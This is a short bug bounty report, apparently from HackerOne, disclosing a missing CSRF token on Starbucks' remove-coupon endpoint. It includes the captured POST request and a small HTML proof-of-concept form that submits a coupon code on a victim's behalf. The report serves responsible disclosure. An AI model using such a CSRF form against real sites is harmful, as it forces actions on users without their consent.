Starbucks: Missing CSRF Token On Remove Coupun From Cart

ID H1:227726
Type hackerone
Reporter apapedulimu
Modified 2019-02-08T19:05:20


Hi, When remove coupun, there's no CSRF token, at this time i use ███████ Coupun to reproduce it.

Vuln Request ``` POST /on/ HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: Content-Length: 17 Cookie: some cookie Connection: close

couponCode=██████████ ```

Poc Code ``` <html> <body> <form action="" method="POST"> <input type="hidden" name="couponCode" value="███" /> <input type="submit" value="Submit request" /> </form> </body> </html>


Edit the coupunCode with name of the coupun.

Thanks, If you need video, i will create one !